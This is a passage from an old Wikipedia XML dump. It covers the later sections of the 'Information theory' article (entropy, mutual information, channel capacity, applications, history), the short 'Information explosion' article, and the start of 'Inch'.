This equation causes messages with lower probabilities to contribute more to the overall value of ''I(m)''. In other words, infrequently occurring messages are more valuable. (This is a consequence from the property of [[logarithm]]s that &lt;math&gt;-\log p(m)&lt;/math&gt; is very large when &lt;math&gt;p(m)&lt;/math&gt; is near 0 for unlikely messages and very small when &lt;math&gt;p(m)&lt;/math&gt; is near 1 for almost certain messages). 

For example, if John says &quot;See you later, honey&quot; to his wife every morning before leaving to office, that information holds little &quot;content&quot; or &quot;value&quot;. But, if he shouts &quot;Get lost&quot; at his wife one morning, then that message holds more value or content (because, supposedly, the probability of him choosing that message is very low).

===Entropy===
The [[information entropy|entropy]] of a discrete message space &lt;math&gt;M&lt;/math&gt; is a measure of the amount of '''uncertainty''' one has about which message will be chosen. It is defined as the [[expected value|average]] self-information of a message &lt;math&gt;m&lt;/math&gt; from that message space:

:&lt;math&gt; H(M) = \mathbb{E} \{I(m)\} = \sum_{m \in M} p(m) I(m) = -\sum_{m \in M} p(m) \log p(m).&lt;/math&gt;

The [[logarithm]] in the formula is usually taken to base 2, and entropy is measured in bits. An important property of entropy is that it is maximized when all the messages in the message space are equiprobable.  In this case &lt;math&gt;H(M) = \log |M|&lt;/math&gt;.

===Joint entropy===
The [[joint entropy]] of two discrete random variables &lt;math&gt;X&lt;/math&gt; and &lt;math&gt;Y&lt;/math&gt; is defined as the entropy of the [[joint distribution]] of &lt;math&gt;X&lt;/math&gt; and &lt;math&gt;Y&lt;/math&gt;:

:&lt;math&gt;H(X, Y) = \mathbb{E}_{X,Y} [-\log p(x,y)] = - \sum_{x, y} p(x, y) \log p(x, y) \,&lt;/math&gt;

If &lt;math&gt;X&lt;/math&gt; and &lt;math&gt;Y&lt;/math&gt; are [[Independent (mathematics)|independent]], then the joint entropy is simply the sum of their individual entropies.

(Note: The joint entropy is not to be confused with the [[cross entropy]], despite similar notation.)

===Conditional entropy (equivocation)===
Given a particular value of a random variable &lt;math&gt;Y&lt;/math&gt;, the conditional entropy of &lt;math&gt;X&lt;/math&gt; given &lt;math&gt;Y=y&lt;/math&gt; is defined as:

: &lt;math&gt; H(X|y) = \mathbb{E}_{{X|Y}} [-\log p(x|y)] = -\sum_{x \in X} p(x|y) \log p(x|y)&lt;/math&gt;

where &lt;math&gt;p(x|y) = \frac{p(x,y)}{p(y)}&lt;/math&gt; is the [[conditional probability]] of &lt;math&gt;x&lt;/math&gt; given &lt;math&gt;y&lt;/math&gt;.

The [[conditional entropy]] of &lt;math&gt;X&lt;/math&gt; given &lt;math&gt;Y&lt;/math&gt;, also called the '''equivocation''' of &lt;math&gt;X&lt;/math&gt; about &lt;math&gt;Y&lt;/math&gt; is then given by:

:&lt;math&gt; H(X|Y) = \mathbb E_Y \{H(X|y)\} = -\sum_{y \in Y} p(y) \sum_{x \in X} p(x|y) \log p(x|y) = \sum_{x,y} p(x,y) \log \frac{p(y)}{p(x,y)}.&lt;/math&gt;

A basic property of the conditional entropy is that:

: &lt;math&gt; H(X|Y) = H(X,Y) - H(Y) .\,&lt;/math&gt;

===Mutual information (transinformation)===
It turns out that one of the most useful and important measures of information is the [[mutual information]], or '''transinformation'''.  This is a measure of how much information can be obtained about one random variable by observing another.   The transinformation of &lt;math&gt;X&lt;/math&gt; relative to &lt;math&gt;Y&lt;/math&gt; (which represents conceptually the amount of information about &lt;math&gt;X&lt;/math&gt; that can be [[Kullback-Leibler divergence|gained]] by observing &lt;math&gt;Y&lt;/math&gt;) is given by:

:&lt;math&gt;I(X;Y) = \sum_{x,y} p(y)\, p(x|y) \log \frac{p(x|y)}{p(x)} = \sum_{x,y} p(x,y) \log \frac{p(x,y)}{p(x)\, p(y)}.&lt;/math&gt;

A basic property of the transinformation is that:

: &lt;math&gt;I(X;Y) = H(X) - H(X|Y)\,&lt;/math&gt;

Mutual information is [[symmetric function|symmetric]]:

: &lt;math&gt;I(X;Y) = I(Y;X) = H(X) + H(Y) - H(X,Y),\,&lt;/math&gt;

Mutual information is closely related to the [[likelihood-ratio test|log-likelihood ratio test]] in the context of contingency tables and the [[Multinomial distribution|Multinomial distribution]] and to [[Pearson's chi-square test|Pearson's &amp;chi;&lt;sup&gt;2&lt;/sup&gt; test]]: mutual information can be considered a statistic for assessing independence between a pair of variables, and has a well-specified asymptotic distribution. Also, mutual information can be expressed through the [[Kullback-Leibler divergence]] by measuring the difference (so to say) of the actual joint distribution to the product of the marginal distributions:

: &lt;math&gt;I(X; Y) = D_{KL}\left(p(X,Y) \| p(X)p(Y)\right)\,&lt;/math&gt;

===Continuous equivalents of entropy===
:See main article: ''[[Differential entropy]]''.

Shannon information is appropriate for measuring uncertainty over a [[discrete]] space.  Its basic measures have been extended by analogy to [[continuum (mathematics)|continuous]] spaces.  The sums can be replaced with integrals and densities are used in place of probability mass functions.  By analogy with the discrete case, entropy, joint entropy, conditional entropy, and mutual information can be defined as follows:

: &lt;math&gt; h(X) = -\int_X f(x) \log f(x) \,dx &lt;/math&gt;
: &lt;math&gt; h(X,Y) = -\int_Y \int_X f(x,y) \log f(x,y) \,dx \,dy&lt;/math&gt;
: &lt;math&gt; h(X|y) = -\int_X f(x|y) \log f(x|y) \,dx &lt;/math&gt;
: &lt;math&gt; h(X|Y) = -\int_Y \int_X f(x,y) \log \frac{f(x,y)}{f(y)} \,dx \,dy&lt;/math&gt;
: &lt;math&gt; I(X;Y) = -\int_Y \int_X f(x,y) \log \frac{f(x,y)}{f(x)f(y)} \,dx \,dy &lt;/math&gt;

where &lt;math&gt;f(x,y)&lt;/math&gt; is the joint density function, &lt;math&gt;f(x)&lt;/math&gt; and &lt;math&gt;f(y)&lt;/math&gt; are the marginal distributions, and &lt;math&gt;f(x|y)&lt;/math&gt; is the conditional distribution.

==Channel capacity==
Let us return for the time being to our consideration of the communications process over a discrete channel.  At this time it will be helpful to have a simple model of the process:

&lt;pre&gt;&lt;nowiki&gt;
                        o---------o
                        |  Noise  |
                        o---------o
                             |
                             V
o-------------o    X    o---------o    Y    o----------o
| Transmitter |--------&gt;| Channel |--------&gt;| Receiver |
o-------------o         o---------o         o----------o
&lt;/nowiki&gt;&lt;/pre&gt;

Here ''X'' represents the space of messages transmitted, and ''Y'' the space of messages received during a unit time over our channel.  Let &lt;math&gt;p(y|x)&lt;/math&gt; be the conditional probability distribution function of ''Y'' given ''X''.  We will consider &lt;math&gt;p(y|x)&lt;/math&gt; to be an inherent fixed property of our communications channel (representing the nature of the '''noise''' of our channel).  Then the joint distribution of ''X'' and ''Y'' is completely determined by our channel and by our choice of &lt;math&gt;f(x)&lt;/math&gt;, the marginal distribution of messages we choose to send over the channel.  Under these constraints, we would like to maximize the amount of information, or the  '''signal''', we can communicate over the channel.  The appropriate measure for this is the transinformation, and this maximum transinformation is called the [[channel capacity]] and is given by:
:&lt;math&gt; C = \max_f I(X;Y).\, &lt;/math&gt;

====Source theory====
Any process that generates successive messages can be considered a source of information.  Sources can be classified in order of increasing generality as memoryless, [[ergodic theory|ergodic]], [[stationary process|stationary]], and [[stochastic process|stochastic]], (with each class strictly containing the previous one).  The term &quot;memoryless&quot; as used here has a slightly different meaning than it normally does in probability theory.  Here a memoryless source is defined as one that generates successive messages independently of one another and with a fixed probability distribution.  However, the position of the first occurrence of a particular message or symbol in a sequence generated by a memoryless source is actually a [[memorylessness|memoryless random variable]].  The other terms have fairly standard definitions and are actually well studied in their own right outside information theory.

=====Rate=====
The '''rate''' of a source of information is (in the most general case) &lt;math&gt;r=\mathbb E H(M_t|M_{t-1},M_{t-2},M_{t-3}, \cdots)&lt;/math&gt;, the expected, or average, conditional entropy per message (i.e. per unit time) given all the previous messages generated.  It is common in information theory to speak of the &quot;rate&quot; or &quot;entropy&quot; of a language.  This is appropriate, for example, when the source of information is English prose.  The rate of a memoryless source is simply &lt;math&gt;H(M)&lt;/math&gt;, since by definition there is no interdependence of the successive messages of a memoryless source.  The rate of a source of information is related to its [[redundancy (information theory)|redundancy]] and how well it can be [[data compression|compressed]].

====Fundamental theorem====
: ''See main article: [[Noisy channel coding theorem]]''.

=====Statement (noisy-channel coding theorem)=====
: 1. For every discrete memoryless channel, the channel capacity

:: &lt;math&gt;C = \max_{P_X} \,I(X;Y)&lt;/math&gt;

: has the following property.  For any &amp;epsilon; &amp;gt; 0 and ''R &amp;lt; C'', for large enough ''N'', there exists a code of length ''N'' and rate &amp;ge; R and a decoding algorithm, such that the maximal probability of block error is &amp;le; &amp;epsilon;.

: 2. If a probability of bit error ''p&lt;sub&gt;b&lt;/sub&gt;'' is acceptable, rates up to ''R(p&lt;sub&gt;b&lt;/sub&gt;)'' are achievable, where

:: &lt;math&gt;R(p_b) = \frac{C}{1-H_2(p_b)} .&lt;/math&gt;

: 3. For any ''p&lt;sub&gt;b&lt;/sub&gt;'', rates greater than ''R(p&lt;sub&gt;b&lt;/sub&gt;)'' are not achievable.

(MacKay (2003), p. 162; cf Gallager (1968), ch.5; Cover and Thomas (1991), p. 198; Shannon (1948) thm. 11)
{{section-stub}}

====Channel capacity of particular model channels====
* A continuous-time analog communications channel subject to Gaussian noise — see [[Shannon-Hartley theorem]].

==Related concepts==
===Measure theory===
Here is an interesting and illuminating connection between information theory and measure theory:

If to arbitrary discrete random variables ''X'' and ''Y'' we associate the existence of [[set]]s &lt;math&gt;\tilde X&lt;/math&gt; and &lt;math&gt;\tilde Y&lt;/math&gt;, somehow representing the information borne by ''X'' and ''Y'', respectively, such that:

* &lt;math&gt;\mu(\tilde X \cap \tilde Y) = 0 &lt;/math&gt;  whenever ''X'' and ''Y'' are independent, and
* &lt;math&gt;\tilde X = \tilde Y&lt;/math&gt; whenever ''X'' and ''Y'' are such that either one is completely determined by the other (i.e. by a bijection); 

where &lt;math&gt;\mu&lt;/math&gt; is a [[measure (mathematics)|measure]] over these sets, and we set:

: &lt;math&gt;H(X) = \mu(\tilde X),&lt;/math&gt;
: &lt;math&gt;H(Y) = \mu(\tilde Y),&lt;/math&gt;
: &lt;math&gt;H(X,Y) = \mu(\tilde X \cup \tilde Y),&lt;/math&gt;
: &lt;math&gt;H(X|Y) = \mu(\tilde X \,\backslash\, \tilde Y),&lt;/math&gt;
: &lt;math&gt;I(X;Y) = \mu(\tilde X \cap \tilde Y);&lt;/math&gt;

we find that Shannon's &quot;measure&quot; of information content satisfies all the postulates and basic properties of a formal measure over sets.  This can be a handy [[mnemonic device]] in some situations.  Certain extensions to the definitions of Shannon's basic measures of information are necessary to deal with the [[Sigma-algebra|σ-algebra]] generated by the sets that would be associated to three or more arbitrary random variables.  (See Reza pp. 106-108 for an informal but rather complete discussion.)  Namely &lt;math&gt;H(X,Y,Z,\cdots)&lt;/math&gt; needs to be defined in the obvious way as the entropy of a joint distribution, and an extended transinformation &lt;math&gt;I(X;Y;Z;\cdots)&lt;/math&gt; defined in a suitable manner (left as an exercise for the ambitious reader) so that we can set:

: &lt;math&gt;H(X,Y,Z,\cdots) = \mu(\tilde X \cup \tilde Y \cup \tilde Z \cup \cdots),&lt;/math&gt;
: &lt;math&gt;I(X;Y;Z;\cdots) = \mu(\tilde X \cap \tilde Y \cap \tilde Z \cap \cdots);&lt;/math&gt;

in order to define the (signed) measure over the whole σ-algebra.  (It is interesting to note that the mutual information of three or more random variables can be negative as well as positive:  Let ''X'' and ''Y'' be two independent fair coin flips, and let ''Z'' be their [[exclusive or]].  Then &lt;math&gt;I(X;Y;Z) = - 1&lt;/math&gt; bit.)

This connection is important for two reasons: first, it reiterates and clarifies the fundamental properties of these basic concepts of information theory, and second, it justifies, in a certain formal sense, the practice of calling Shannon's entropy a &quot;measure&quot; of information.

===Kolmogorov complexity===
[[A. N. Kolmogorov]] introduced an alternative information measure that is based on the length of the shortest algorithm to produce a message, called the [[Kolmogorov complexity]]. The practical usefulness of the Kolmogorov complexity, however, is somewhat limited by two issues:

* Due to the [[halting problem]], it is in general not possible to actually calculate the Kolmogorov complexity of a given message.
* Due to an arbitrary choice of programming language involved, the Kolmogorov complexity is only defined [[up to]] an arbitrary additive constant.

These limitations tend to restrict the usefulness of the Kolmogorov complexity to proving asymptotic bounds, which is really more the domain of [[complexity theory]].  Nevertheless it is in a certain sense the &quot;best&quot; possible measure of the information content of a message, and it has the advantage of being independent of any prior probability distribution on the messages.

==Applications==
====Coding theory====
[[Coding theory]] is the most important and direct application of information theory.  It can be subdivided into [[data compression]] theory and [[error correction]] theory.  Using a statistical description for data, information theory quantifies the number of [[bit]]s needed to describe the data.  There are two formulations for the compression problem — in [[lossless data compression]] the data must be reconstructed exactly, whereas [[lossy data compression]] examines how many bits are needed to reconstruct the data to within a specified fidelity level.  This fidelity level is measured by a function called a distortion function.  In information theory this is called [[rate distortion theory]].  Both lossless and lossy source codes produce [[bit]]s at the output which can be used as the inputs to the channel codes mentioned above.

The idea is to first compress the data, i.e. remove as much of its [[redundancy (information theory)|redundancy]] as possible, and then add just the right kind of redundancy (i.e. [[error correction]]) needed to transmit the data efficiently and faithfully across a noisy channel.

This division of coding theory into compression and transmission is justified by the [[information transmission theorem]]s, or [[source-channel separation theorem]]s that justify the use of bits as the universal currency for information in many contexts.    However, these theorems only hold in the situation where one transmitting user wishes to communicate to one receiving user.  In scenarios with more than one transmitter (the [[multiple-access channel]]), more than one receiver (the [[broadcast channel]]) or intermediary &quot;helpers&quot; (the [[relay channel]]), or more general [[computer network|networks]], compression followed by transmission may no longer be optimal.  [[Network information theory]] refers to these multi-agent communication models.

====[[Cryptography]], [[Cryptanalysis]]====
{{section-stub}}
Information theoretic concepts are widely used in making and breaking cryptographic ciphers.  For an interesting historical example, see the article on [[deciban]].  Shannon himself defined an important concept called the [[unicity distance]].  Based on the [[redundancy]] of the [[plaintext]],  it attempts to give a minimum amount of [[ciphertext]] necessary to ensure [[unique decipherability]].

Several additional concepts relating to the rate of an information source are especially important in the study of cryptology.  These are the ''absolute rate'', the ''absolute redundancy'', the ''relative redundancy'', and the ''efficiency''.

====Relation with thermodynamic entropy====
See main article: ''[[Entropy in thermodynamics and information theory]]''.

====Quantum Information Science====
{{section-stub}}
See main article: ''[[Quantum information science]]''.

====Detection and Estimation Theory====
{{section-stub}}
{{see|Detection theory|Estimation theory}}

====Gambling====
{{section-stub}}
Information theory is also important in [[gambling]] and (with some ethical reservations) [[investing]].  An important but simple relation exists between the amount of side information a gambler obtains and the expected exponential growth of his capital (Kelly).  The so-called '''equation of ill-gotten gains''' can be expressed in logarithmic form as

: &lt;math&gt; \mathbb E \log K_t = \log K_0 + \sum_{i=1}^t H_i &lt;/math&gt;

for an optimal betting strategy, where &lt;math&gt;K_0&lt;/math&gt; is the initial capital, &lt;math&gt;K_t&lt;/math&gt; is the capital after the ''t''th bet, and &lt;math&gt;H_i&lt;/math&gt; is the amount of side information obtained concerning the ''i''th bet (in particular, the [[mutual information]] relative to the outcome of each bettable event).  This equation applies in the absence of any transaction costs or minimum bets.  When these constraints apply (as they invariably do in real life), another important gambling concept comes into play: the gambler (or unscrupulous investor) must face a certain [[probability of ultimate ruin]].  Note that even food, clothing, and shelter can be considered fixed transaction costs and thus contribute to the gambler's probability of ultimate ruin.  That is why food is so cheap at casinos.

This equation was the first application of Shannon's theory of information outside its prevailing paradigm of data communications (Pierce).  No one knows how much lucre has been gained by the use of this notorious equation since its discovery a half century ago.

The ill-gotten gains equation actually underlies much if not all of [[mathematical finance]], although certainly, when there is money to be made, and eyebrows not to be raised, extreme discretion is employed in its use.

====Intelligence====
{{section-stub}}
Shannon's theory of information is extremely important in intelligence work, much more so than its use in cryptography would indicate.  The theory is applied by intelligence agencies to keep classified information secret, and to discover as much information as possible about an adversary.  The [[Shannon-Hartley theorem|fundamental theorem]] leads us to believe it is much more difficult to keep secrets than it might first appear.  In general it is not possible to stop the leakage of classified information, only to slow it.  Furthermore, the more people that have access to the information, and the more those people have to work with and belabor that information, the greater the redundancy of that information becomes.  It is extremely hard to contain the flow of information that has such a high redundancy.  This inevitable leakage of classified information is due to the psychological fact that what people know does influence their behavior somewhat, however subtle that influence might be.

The premier example of the application of information theory to covert signaling is the design of the [[Global Positioning System]] signal encoding. The system uses a [[pseudorandom number generator|pseudorandom encoding]] that places the radio signal below the [[noise floor]].  Thus, an unsuspecting radio listener would ''not even be aware that there was a signal present'', as it would be drowned out by atmospheric and antenna noise. However, if one [[integral|integrates]] the signal over long periods of time, using the &quot;secret&quot; (but known to the listener) pseudorandom sequence, one can eventually detect a signal, and then discern modulations of that signal. In GPS, the C/A signal has been publicly disclosed to be a 1023-bit sequence, but the pseudorandom sequence used in the P(Y) signal remains a secret. The same technique can be used to transmit and receive covert intelligence from short-range, extremely low power systems, without the enemy even being aware of the existence of a radio signal.

====Music====
{{section-stub}}
Composer [[James Tenney]], among others such as his teacher [[Lejaren Hiller]], has used information theory in the composition of musical works such as ''[[Ergodos]]''.

==History==

The decisive event which established the subject of information theory, and brought it to immediate worldwide attention, was the publication of [[Claude E. Shannon]] ([[1916]]&amp;ndash;[[2001]])'s classic paper  &quot;[[A Mathematical Theory of Communication]]&quot; in the ''[[Bell System Technical Journal]]'' in [[July]] and [[October]] of [[1948]].

In this revolutionary and groundbreaking paper, the work for which Shannon had substantially completed at Bell Labs by the end of [[1944]], Shannon for the first time introduced the qualitative and quantitative model of communication as a statistical process, which underlies information theory; and with it the ideas of the [[information entropy]] and [[redundancy (information theory)|redundancy]] of a source, and its relevance through the [[source coding theorem]]; the [[mutual information]], and the [[channel capacity]] of a noisy channel, as underwritten by the promise of perfect loss-free communication given by the [[noisy-channel coding theorem]]; the practical result of the [[Shannon-Hartley law]] for the channel capacity of a Gaussian channel; and of course the [[bit]] - a new common currency of information.

=== Before 1948 ===

==== Quantitative ideas of information ====

The most direct antecedents of Shannon's work were two papers published in the [[1920s]] by [[Harry Nyquist]] and [[Ralph Hartley]], who were both still very much research leaders at Bell Labs when Shannon arrived there in the early [[1940s]].

Nyquist's [[1924]] paper, ''Certain Factors Affecting Telegraph Speed'' is mostly concerned with some detailed engineering aspects of telegraph signals.  But a more theoretical section discusses quantifying &quot;intelligence&quot; and the &quot;line speed&quot; at which it can be transmitted by a communication system, giving the relation

:&lt;math&gt;W = K \log m \,&lt;/math&gt;

where ''W'' is the speed of transmission of intelligence, ''m'' is the number of different  voltage levels to choose from at each time step, and ''K'' is a constant.

Hartley's [[1928]] paper, called simply ''Transmission of Information'', went further by introducing the word information, and making explicitly clear the idea that information in this context was quantitative measurable quantity, reflecting only that the receiver was able to distinguish that one sequence of symbols had been sent rather than any other -- quite regardless of any associated meaning or other psychological or semantic aspect the symbols might represent.  This amount of information he quantified as

:&lt;math&gt;H = \log S^n \,&lt;/math&gt;

where ''S'' was the number of possible symbols, and ''n'' the number of symbols in a transmission.  The natural unit of information was therefore the decimal digit, much later renamed the [[Hartley]] in his honour as a unit or scale or measure of information.  The [[Hartley information]], ''H''&lt;sub&gt;0&lt;/sub&gt;, is also still very much used as a quantity for the log of the total number of possibilities.

A similar unit of log&lt;sub&gt;10&lt;/sub&gt; probability, the ''ban'', and its derived unit the [[deciban]] (one tenth of a ban), were introduced by [[Alan Turing]] in [[1940]] as part of the statistical analysis of the breaking of the German second world war [[Cryptanalysis of the Enigma|Enigma]] cyphers.  The ''decibannage'' represented the reduction in (the logarithm of) the total number of possibilities (similar to the change in the Hartley information); and also the [[log-likelihood ratio]] (or change in the [[weight of evidence]]) that could be inferred for one hypothesis over another from a set of observations.  The expected change in the weight of evidence is equivalent to what was later called the Kullback [[Kullback-Leibler divergence#Discrimination Information|discrimination information]]. 

But underlying this notion was still the idea of equal a-priori probabilities, rather than the information content of events of unequal probability; nor yet any underlying picture of questions regarding the communication of such varied outcomes.

====Entropy in statistical mechanics====

One area where unequal probabilities were indeed well known was statistical mechanics, where [[Ludwig Boltzmann]] had, in the context of his [[H-theorem]] of [[1872]], first introduced the quantity

: &lt;math&gt;H = - \sum f_i \log f_i &lt;/math&gt;

as a measure of the breadth of the spread of states available to a single particle in a gas of like particles, where ''f'' represented the relative [[frequency distribution]] of each possible state.  Boltzmann argued mathematically that the effect of collisions between the particles would cause the ''H''-function to inevitably increase from any initial configuration until equilibrium was reached; and identified it as an underlying microscopic rationale for the macroscopic [[thermodynamic entropy]] of [[Clausius]].  

(The ''H''-theorem of Boltzmann subsequently led to no end of controversy; and can still cause lively debates to the present day, often aggravated by protagonists not realising that they are arguing at cross-purposes.  The theorem relies on a hidden assumption, that useful information is destroyed by the collisions, which can be questioned; also, it relies on a non-equilibrium state being singled out as the initial state (not the final state), which breaks time symmetry; also, strictly it applies only in a statistical sense, namely that an average ''H''-function would be non-decreasing).

Boltzmann's definition was soon reworked by the American mathematical physicist [[J. Willard Gibbs]] into a general formula for the statistical-mechanical entropy, no longer requiring identical and non-interacting particles, but instead based on the probability distribution ''p&lt;sub&gt;i&lt;/sub&gt;'' for the complete microstate ''i'' of the total system:

: &lt;math&gt;S = -k_B \sum p_i \ln p_i \,&lt;/math&gt;

This (Gibbs) entropy from statistical mechanics can be found to directly correspond to the Clausius's classical thermodynamical definition, as explored further in the article: ''[[Thermodynamic entropy]]''. 

Szilard, Lewis.

Shannon himself was apparently not particularly aware of the close similarity between his new quantity and the earlier work in thermodynamics; but [[John von Neumann]] was.  The story goes that when Shannon was deciding what to call his new quantity, fearing that 'information' was already over-used, von Neumann told him firmly: &quot;You should call it entropy, for two reasons. In the first place your uncertainty function has been used in statistical mechanics under that name, so it already has a name. In the second place, and more important, no one really knows what entropy really is, so in a debate you will always have the advantage.&quot;

&lt;!-- remaining material still to be reworked 

This work drew on earlier publications by .  At the beginning of his paper, Shannon asserted that 
:&quot;The fundamental problem of communication is that of reproducing at one point, either exactly or approximately, a message selected at another point.&quot;  
His theory for the first time considered communication as a rigorously stated mathematical problem in [[statistics]] and gave communications engineers a way to determine the [[Shannon limit|capacity]] of a [[communication channel]] in terms of the common currency of [[bit]]s.  This problem is called the [[channel coding]] problem.  The transmission part of the theory is not concerned with the [[meaning]] ([[semantics]]) of the message conveyed.   

Several early notions of [[information entropy]] predated Shannon's paper.

One version was defined and used during the Second World War by [[Alan Turing]] at [[Bletchley Park]].  Turing named it &quot;weight of evidence&quot; and measured it in units called [[ban (information)|bans]] and [[deciban]]s. (This is not to be confused with the ''weight of evidence'' defined by [[I.J. Good]] and described in the article [[statistical inference]], which Turing also tackled and named &quot;log-odds&quot; or &quot;lods&quot;.) Turing and Shannon collaborated during the war but it appears that they independently created the concept.

A very similar concept was developed by Boltzmann during the 1800's in his work on [[statistical mechanics]].    This connection, between information-theoretic entropy and thermodynamic entropy, was later studied by [[Rolf Landauer]] and is described in this article.

--&gt;

=== Development since 1948 ===
{{section stub}}

==References==
===The classic paper===
* [[Claude Elwood Shannon|Shannon, C.E.]] (1948), &quot;[[A Mathematical Theory of Communication]]&quot;, ''Bell System Technical Journal'', 27, pp. 379–423 &amp; 623–656, July &amp; October, 1948.  [http://cm.bell-labs.com/cm/ms/what/shannonday/shannon1948.pdf PDF.] &lt;br&gt;[http://cm.bell-labs.com/cm/ms/what/shannonday/paper.html Notes and other formats.]

===Other journal articles===
* R.V.L. Hartley, &quot;Transmission of Information,&quot; ''Bell System Technical Journal'', July 1928
* J. L. Kelly, Jr., &quot;New Interpretation of Information Rate,&quot; ''Bell System Technical Journal'', Vol. 35, July 1956, pp. 917-26
* R. Landauer, &quot;Information is Physical&quot; ''Proc. Workshop on Physics and Computation PhysComp'92'' (IEEE Comp. Sci.Press, Los Alamitos, 1993) pp. 1-4.
* R. Landauer, &quot;[http://www.research.ibm.com/journal/rd/441/landauerii.pdf Irreversibility and Heat Generation in the Computing Process]&quot; ''IBM J. Res. Develop.'' Vol. 5, No. 3, 1961

===Textbooks on information theory===
* Claude E. Shannon, Warren Weaver. ''The Mathematical Theory of Communication.'' Univ of Illinois Press, 1963. ISBN 0252725484
* Robert B. Ash. ''Information Theory''. New York: Dover 1990. ISBN 0486665216
* Thomas M. Cover, Joy A. Thomas. ''Elements of information theory'', 2nd Edition. New York: Wiley-Interscience, 2006. ISBN 0471241954 (''forthcoming, to be released February 17, 2006.'').
* Stanford Goldman. ''Information Theory''. Mineola, N.Y.: Dover 2005 ISBN 0486442713
* Fazlollah M. Reza. ''An Introduction to Information Theory''. New York: Dover 1994. ISBN 048668210
* David J. C. MacKay. ''[http://www.inference.phy.cam.ac.uk/mackay/itila/book.html Information Theory, Inference, and Learning Algorithms]'' Cambridge: Cambridge University Press, 2003. ISBN 0521642981

===Other books ===
* James Bamford, ''The Puzzle Palace'', Penguin Books, 1983.  ISBN 0140067485
* Leon Brillouin, ''Science and Information Theory'', Mineola, N.Y.: Dover, [1956, 1962] 2004. ISBN 0486439186
* W. B. Johnson and J. Lindenstrauss, editors, ''Handbook of the Geometry of Banach Spaces'', Vol. 1.  Amsterdam: Elsevier 2001.  ISBN 0444828427
* A. I. Khinchin, ''Mathematical Foundations of Information Theory'', New York: Dover, 1957.  ISBN 0486604349
* H. S. Leff and A. F. Rex, Editors, ''Maxwell's Demon: Entropy, Information, Computing'',  Princeton University Press, Princeton, NJ (1990). ISBN 069108727X

==See also==
* [[List_of_important_publications_in_computer_science#Information_theory|List of important publications]]
===Applications===

===History===
* [[Timeline of information theory]]
* [[Claude Elwood Shannon|Shannon, C.E.]]
* [[Hubert Yockey|Yockey, H.P.]]

===Theory===
{{col-begin}}
{{col-break}}
* [[Detection theory]]
* [[Estimation theory]]
* [[Fisher information]]
* [[Kolmogorov complexity]]
{{col-break}}
* [[Information entropy]]
* [[Information geometry]]
* [[Logic of information]]
* [[Semiotic information theory]]
{{col-end}}

==External links==

* Gibbs, M., &quot;Quantum Information Theory&quot;, [http://members.aol.com/jmtsgibbs/infothry.htm Eprint]

* Schneider, T., &quot;Information Theory Primer&quot;, [http://www.lecb.ncifcrf.gov/~toms/paper/primer Eprint]

*[http://jchemed.chem.wisc.edu/Journal/Issues/1999/Oct/abs1385.html Journal of Chemical Education, ''Shuffled Cards, Messy Desks, and Disorderly Dorm Rooms - Examples of Entropy Increase? Nonsense!'' ]

* [http://www.itsoc.org/index.html IEEE Information Theory Society] and [http://www.itsoc.org/review.html the review articles].

* [http://www.inference.phy.cam.ac.uk/mackay/itila/ On-line textbook: Information Theory, Inference, and Learning Algorithms], by [[David MacKay]] - gives an entertaining and thorough introduction to Shannon theory, including state-of-the-art methods from coding theory, such as [[arithmetic coding]], [[low-density parity-check code]]s, and [[Turbo code]]s.

{{Cybernetics}}

[[Category:Communication]]
[[Category:Cybernetics]]
[[Category:Discrete mathematics]]
[[Category:Information theory|*]]

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[[ru:Теория информации]]
[[sv:Informationsteori]]
[[th:ทฤษฎีข้อมูล]]
[[zh:信息论]]</text>
    </revision>
  </page>
  <page>
    <title>Information explosion</title>
    <id>14774</id>
    <revision>
      <id>38514251</id>
      <timestamp>2006-02-06T21:26:16Z</timestamp>
      <contributor>
        <username>The Eye of Timaeus</username>
        <id>855153</id>
      </contributor>
      <comment>/* Wiki */ growng changed to growing</comment>
      <text xml:space="preserve">In [[Library and Information Science]], '''information explosion''' is a term used for the ever increasing rate of [[publication]].  

Search http://google.com/search?q=information+explosion

In [http://privacy.cs.cmu.edu/people/sweeney/explosion.html Information Explosion], Latayana Sweeney estimates the Global Disk Storage per Person (GDSP) as

{|
|+GDSP over Time [http://privacy.cs.cmu.edu/people/sweeney/explosion.html]
|-
!!!1983!!1996!!2000!
|-
|Global storage (terabytes)
|ALIGN=&quot;RIGHT&quot;|90 Tb
|ALIGN=&quot;RIGHT&quot;|160,623 Tb
|ALIGN=&quot;RIGHT&quot;|2,829,288 Tb
|-
|Storage per person (GDSB)
|ALIGN=&quot;RIGHT&quot;|0.02 Mb
|ALIGN=&quot;RIGHT&quot;|28 Mb
|ALIGN=&quot;RIGHT&quot;|472 Mb
|}
{{sci-stub}}
==Blogs==
[[Blog]]s are important factor. Some of the most popular blogs are: Livejournal, Blogger, Diaryland.
==Wiki==
[[Wiki]] are Collaborative portals. The number of articles is growing [[exponential growth|exponentially]].

==See also==
[[Metcalfe's law]]

==External links==
*[http://www.slais.ubc.ca/courses/libr500/03-04-wt2/www/K_Woods/vol1.htm Information explosion]
*[http://www.sims.berkeley.edu/research/projects/how-much-info-2003/ How much info?]
[[de:Informationsexplosion]]
[[ru:Информационный взрыв]]</text>
    </revision>
  </page>
  <page>
    <title>Inch</title>
    <id>14775</id>
    <revision>
      <id>41885148</id>
      <timestamp>2006-03-02T10:17:13Z</timestamp>
      <contributor>
        <ip>195.131.172.165</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">: ''[[Inches (album)|Inches]] is also an album by Les Savy Fav.''

[[Image:Inch converter.jpg|right|250px|thumb|Mid-19th century tool for converting between different standards of the inch]]
An '''inch''' is an [[Imperial units|Imperial]] and [[U.S. customary units|U.S. customary]] unit of [[length]]. Sweden also briefly had a &quot;decimal inch&quot; based on the [[SI|metric system]]: see below for more.

According to some sources, the inch was originally defined informally as the distance between the tip of the thumb and the first joint of the thumb. Another source says that the inch was at one time defined in terms of the [[yard]], supposedly defined as the distance between [[Henry I of England]]'s nose and his thumb.  In another version, the inch was defined as the length of three [[barleycorn]]s.  There are twelve inches in a [[Foot (unit of length)|foot]], and three feet in a [[yard]].

